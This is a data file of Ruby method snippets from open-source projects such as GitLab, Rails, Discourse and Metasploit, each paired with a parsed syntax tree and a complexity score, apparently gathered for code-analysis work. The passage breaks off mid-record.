{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250313163310_add_extension_marketplace_opt_in_url_to_user_preference.rb","start_line":18,"raw_source":"def down\n    with_lock_retries do\n      remove_column :user_preferences, :extensions_marketplace_opt_in_url, if_exists: true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"user_preferences\"]},{\"type\":\"sym\",\"children\":[\"extensions_marketplace_opt_in_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"242f6c49-c44f-45ce-94ef-eba8648e044e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/attribute_help_texts/show_dialog_component.rb","start_line":50,"raw_source":"def edit_button_href = url_helpers.edit_attribute_help_text_path(@attribute_help_text)","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_button_href\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"edit_attribute_help_text_path\",{\"type\":\"ivar\",\"children\":[\"@attribute_help_text\"]}]}]}","id":"75d9f323-1b11-48aa-8cde-18f1b5ada585"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/todo.rb","start_line":433,"raw_source":"def self_assigned?\n    self_added? && (assigned? || review_requested?)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"self_assigned?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_added?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assigned?\"]},{\"type\":\"send\",\"children\":[null,\"review_requested?\"]}]}]}]}]}","id":"37f37f31-4524-4261-a729-2b53efd2ebfd"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/structured_event_subscriber.rb","start_line":27,"raw_source":"def process(event)\n      emit_debug_event(\"action_mailer.processed\",\n        mailer: event.payload[:mailer],\n        action: event.payload[:action],\n        duration_ms: event.duration.round(2),\n      )\n    end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"emit_debug_event\",{\"type\":\"str\",\"children\":[\"action_mailer.processed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mailer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mailer\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration_ms\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"duration\"]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}","id":"c859978e-d9b4-44fd-9331-8773940b67ac"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/create_invite.rb","start_line":38,"raw_source":"def invite_link_input\n        within(modal) { find(\"input.invite-link\") }\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_link_input\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"modal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"input.invite-link\"]}]}]}]}","id":"a1284b83-deed-4a39-9384-ec9728ed1ea5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/file_stat.rb","start_line":217,"raw_source":"def pretty\n    \"  Size: #{size}   Blocks: #{blocks}   IO Block: #{blksize}   Type: #{rdev}\\n\"\\\n    \"Device: #{dev}  Inode: #{ino}  Links: #{nlink}\\n\"\\\n    \"  Mode: #{prettymode}\\n\"\\\n    \"   Uid: #{uid}  Gid: #{gid}\\n\"\\\n    \"Access: #{atime}\\n\"\\\n    \"Modify: #{mtime}\\n\"\\\n    \"Change: #{ctime}\\n\"\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pretty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  Size: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]}]},{\"type\":\"str\",\"children\":[\"   Blocks: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blocks\"]}]},{\"type\":\"str\",\"children\":[\"   IO Block: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blksize\"]}]},{\"type\":\"str\",\"children\":[\"   Type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rdev\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Device: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dev\"]}]},{\"type\":\"str\",\"children\":[\"  Inode: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ino\"]}]},{\"type\":\"str\",\"children\":[\"  Links: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nlink\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  Mode: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prettymode\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"   Uid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uid\"]}]},{\"type\":\"str\",\"children\":[\"  Gid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gid\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Access: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"atime\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Modify: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mtime\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Change: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ctime\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"cf92409e-a6d1-41a9-beee-a4635954a615"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/users/internal.rb","start_line":67,"raw_source":"def migration_bot\n      email_pattern = \"noreply+gitlab-migration-bot%s@#{Settings.gitlab.host}\"\n\n      unique_internal(User.where(user_type: :migration_bot), 'migration-bot', email_pattern) do |u|\n        u.bio = 'The GitLab migration bot'\n        u.name = 'GitLab Migration Bot'\n        u.confirmed_at = Time.zone.now\n        u.private_profile = true\n      end\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"migration_bot\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email_pattern\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"noreply+gitlab-migration-bot%s@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"gitlab\"]},\"host\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unique_internal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_type\"]},{\"type\":\"sym\",\"children\":[\"migration_bot\"]}]}]}]},{\"type\":\"str\",\"children\":[\"migration-bot\"]},{\"type\":\"lvar\",\"children\":[\"email_pattern\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"bio=\",{\"type\":\"str\",\"children\":[\"The GitLab migration bot\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"name=\",{\"type\":\"str\",\"children\":[\"GitLab Migration Bot\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"confirmed_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"private_profile=\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"85881f30-f1ce-43ec-9451-828d9b674aa0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/announcement_policy.rb","start_line":8,"raw_source":"def create?\n    role.can?(:manage_announcements)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_announcements\"]}]}]}","id":"15e966ff-0d5a-4b34-b4e0-bcfef247dd16"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/seeders/ci/variables_project_seeder.rb","start_line":35,"raw_source":"def create_ci_variable(id)\n          env = environment_scope == 'unique' ? \"env_#{id}\" : environment_scope\n          key = \"#{prefix}#{id}\"\n\n          if project.variables.by_environment_scope(env).find_by_key(key).present?\n            warn \"WARNING: Project CI Variable with key '#{key}' already exists. Skipping to next CI variable...\"\n          end\n\n          project.variables.create(\n            environment_scope: env,\n            key: key,\n            value: SecureRandom.hex(32)\n          )\n        end","complexity_score":21.55,"ast_json":"{\"type\":\"def\",\"children\":[\"create_ci_variable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_scope\"]},\"==\",{\"type\":\"str\",\"children\":[\"unique\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"env_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"environment_scope\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"variables\"]},\"by_environment_scope\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"find_by_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WARNING: Project CI Variable with key '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"' already exists. Skipping to next CI variable...\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"variables\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_scope\"]},{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[32]}]}]}]}]}]}]}","id":"084d3e1c-e121-456f-8ea0-9645d7f44f80"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/docs/_plugins/metasploit_stats.rb","start_line":63,"raw_source":"def modules_by_fullname\n    @modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|\n      fullname = mod['fullname']\n      hash[fullname] = mod\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"modules_by_fullname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@modules_by_fullname\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@modules\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fullname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fullname\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"fullname\"]},{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]}]}]}]}","id":"95dcdb2c-2150-43ec-9d09-6ca3c2e91d2d"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20240903024211_add_trigger_to_users_to_sync_user_passwords.rb","start_line":3,"raw_source":"def up\n    # necessary for postgres < v14 which does not have CREATE OR REPLACE TRIGGER\n    execute <<~SQL.squish\n      DROP TRIGGER IF EXISTS\n      users_password_sync ON users;\n    SQL\n\n    execute <<~SQL.squish\n    CREATE OR REPLACE FUNCTION mirror_user_password_data() RETURNS TRIGGER AS $$\n    BEGIN\n      INSERT INTO user_passwords (user_id, password_hash, password_salt, password_algorithm, password_expired_at, created_at, updated_at)\n      VALUES (NEW.id, NEW.password_hash, NEW.salt, NEW.password_algorithm, NULL, now(), now())\n      ON CONFLICT(user_id)\n      DO UPDATE SET\n        password_hash = EXCLUDED.password_hash,\n        password_salt = EXCLUDED.password_salt,\n        password_algorithm = EXCLUDED.password_algorithm,\n        password_expired_at = EXCLUDED.password_expired_at,\n        updated_at = now()\n        WHERE user_passwords.password_hash <> EXCLUDED.password_hash;\n      RETURN NEW;\n    END;\n    $$ LANGUAGE plpgsql;\n    SQL\n\n    execute <<~SQL.squish\n      CREATE TRIGGER users_password_sync\n      AFTER INSERT OR UPDATE OF password_hash ON users\n      FOR EACH ROW\n      WHEN (NEW.password_hash IS NOT NULL)\n      EXECUTE PROCEDURE mirror_user_password_data();\n    SQL\n\n    execute <<~SQL.squish\n      DROP TRIGGER IF EXISTS\n      users_password_sync_on_delete_password ON users;\n    SQL\n\n    execute <<~SQL.squish\n    CREATE OR REPLACE FUNCTION delete_user_password() RETURNS TRIGGER AS $$\n    BEGIN\n      DELETE FROM user_passwords WHERE user_id = NEW.id;\n      RETURN NEW;\n    END;\n    $$ LANGUAGE plpgsql;\n    SQL\n\n    execute <<~SQL.squish\n      CREATE TRIGGER users_password_sync_on_delete_password\n      AFTER UPDATE OF password_hash ON users\n      FOR EACH ROW\n      WHEN (NEW.password_hash IS NULL)\n      EXECUTE PROCEDURE delete_user_password();\n    SQL\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP TRIGGER IF EXISTS\\n\"]},{\"type\":\"str\",\"children\":[\"users_password_sync ON users;\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE OR REPLACE FUNCTION mirror_user_password_data() RETURNS TRIGGER AS $$\\n\"]},{\"type\":\"str\",\"children\":[\"BEGIN\\n\"]},{\"type\":\"str\",\"children\":[\"  INSERT INTO user_passwords (user_id, password_hash, password_salt, password_algorithm, password_expired_at, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"  VALUES (NEW.id, NEW.password_hash, NEW.salt, NEW.password_algorithm, NULL, now(), now())\\n\"]},{\"type\":\"str\",\"children\":[\"  ON CONFLICT(user_id)\\n\"]},{\"type\":\"str\",\"children\":[\"  DO UPDATE SET\\n\"]},{\"type\":\"str\",\"children\":[\"    password_hash = EXCLUDED.password_hash,\\n\"]},{\"type\":\"str\",\"children\":[\"    password_salt = EXCLUDED.password_salt,\\n\"]},{\"type\":\"str\",\"children\":[\"    password_algorithm = EXCLUDED.password_algorithm,\\n\"]},{\"type\":\"str\",\"children\":[\"    password_expired_at = EXCLUDED.password_expired_at,\\n\"]},{\"type\":\"str\",\"children\":[\"    updated_at = now()\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE user_passwords.password_hash <> EXCLUDED.password_hash;\\n\"]},{\"type\":\"str\",\"children\":[\"  RETURN NEW;\\n\"]},{\"type\":\"str\",\"children\":[\"END;\\n\"]},{\"type\":\"str\",\"children\":[\"$$ LANGUAGE plpgsql;\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TRIGGER users_password_sync\\n\"]},{\"type\":\"str\",\"children\":[\"AFTER INSERT OR UPDATE OF password_hash ON users\\n\"]},{\"type\":\"str\",\"children\":[\"FOR EACH ROW\\n\"]},{\"type\":\"str\",\"children\":[\"WHEN (NEW.password_hash IS NOT NULL)\\n\"]},{\"type\":\"str\",\"children\":[\"EXECUTE PROCEDURE mirror_user_password_data();\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP TRIGGER IF EXISTS\\n\"]},{\"type\":\"str\",\"children\":[\"users_password_sync_on_delete_password ON users;\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE OR REPLACE FUNCTION delete_user_password() RETURNS TRIGGER AS $$\\n\"]},{\"type\":\"str\",\"children\":[\"BEGIN\\n\"]},{\"type\":\"str\",\"children\":[\"  DELETE FROM user_passwords WHERE user_id = NEW.id;\\n\"]},{\"type\":\"str\",\"children\":[\"  RETURN NEW;\\n\"]},{\"type\":\"str\",\"children\":[\"END;\\n\"]},{\"type\":\"str\",\"children\":[\"$$ LANGUAGE plpgsql;\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TRIGGER users_password_sync_on_delete_password\\n\"]},{\"type\":\"str\",\"children\":[\"AFTER UPDATE OF password_hash ON users\\n\"]},{\"type\":\"str\",\"children\":[\"FOR EACH ROW\\n\"]},{\"type\":\"str\",\"children\":[\"WHEN (NEW.password_hash IS NULL)\\n\"]},{\"type\":\"str\",\"children\":[\"EXECUTE PROCEDURE delete_user_password();\\n\"]}]},\"squish\"]}]}]}]}","id":"c164ecd9-8daa-4b2b-b05c-a68ca11c7de9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb","start_line":222,"raw_source":"def after_rollback(&block)\n        if @state.finalized?\n          raise ActiveRecordError, \"Cannot register callbacks on a finalized transaction\"\n        end\n\n        (@callbacks ||= []) << Callback.new(:after_rollback, block)\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"after_rollback\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"finalized?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ActiveRecordError\"]},{\"type\":\"str\",\"children\":[\"Cannot register callbacks on a finalized transaction\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@callbacks\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Callback\"]},\"new\",{\"type\":\"sym\",\"children\":[\"after_rollback\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"e3ec4b50-0a2c-4dd8-b475-bf508daf6335"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/record_mic.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Multi Manage Record Microphone',\n        'Description' => %q{\n          This module will enable and record your target's microphone.\n          For non-Windows targets, please use Java meterpreter to be\n          able to use this feature.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'sinn3r'],\n        'Platform' => %w[linux osx win],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_webcam_*\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptInt.new('DURATION', [false, 'Number of seconds to record', 5])\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Multi Manage Record Microphone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will enable and record your target's microphone.\\n\"]},{\"type\":\"str\",\"children\":[\"          For non-Windows targets, please use Java meterpreter to be\\n\"]},{\"type\":\"str\",\"children\":[\"          able to use this feature.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"osx\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_webcam_*\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DURATION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of seconds to record\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}]}","id":"8aebb754-36a5-4aa2-99a9-70f468d0765c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/installation/onboarding_controller.rb","start_line":25,"raw_source":"def onboarding_params\n    params.permit(:subscribe_to_updates, user: [:name, :company, :email])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"onboarding_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"subscribe_to_updates\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"company\"]},{\"type\":\"sym\",\"children\":[\"email\"]}]}]}]}]}]}","id":"c253c0e1-f250-42dd-a4e4-6af9905d0528"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/api/channels_memberships_controller.rb","start_line":32,"raw_source":"def create\n    Chat::AddUsersToChannel.call(service_params) do\n      on_success { render(json: success_json) }\n      on_failure { render(json: failed_json, status: :unprocessable_entity) }\n      on_failed_policy(:can_add_users_to_channel) do\n        render_json_error(I18n.t(\"chat.errors.users_cant_be_added_to_channel\"))\n      end\n      on_failed_policy(:satisfies_dms_max_users_limit) do |policy|\n        render_json_dump({ error: policy.reason }, status: 400)\n      end\n      on_failed_contract do |contract|\n        render(json: failed_json.merge(errors: contract.errors.full_messages), status: :bad_request)\n      end\n    end\n  end","complexity_score":34.88,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"AddUsersToChannel\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"service_params\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[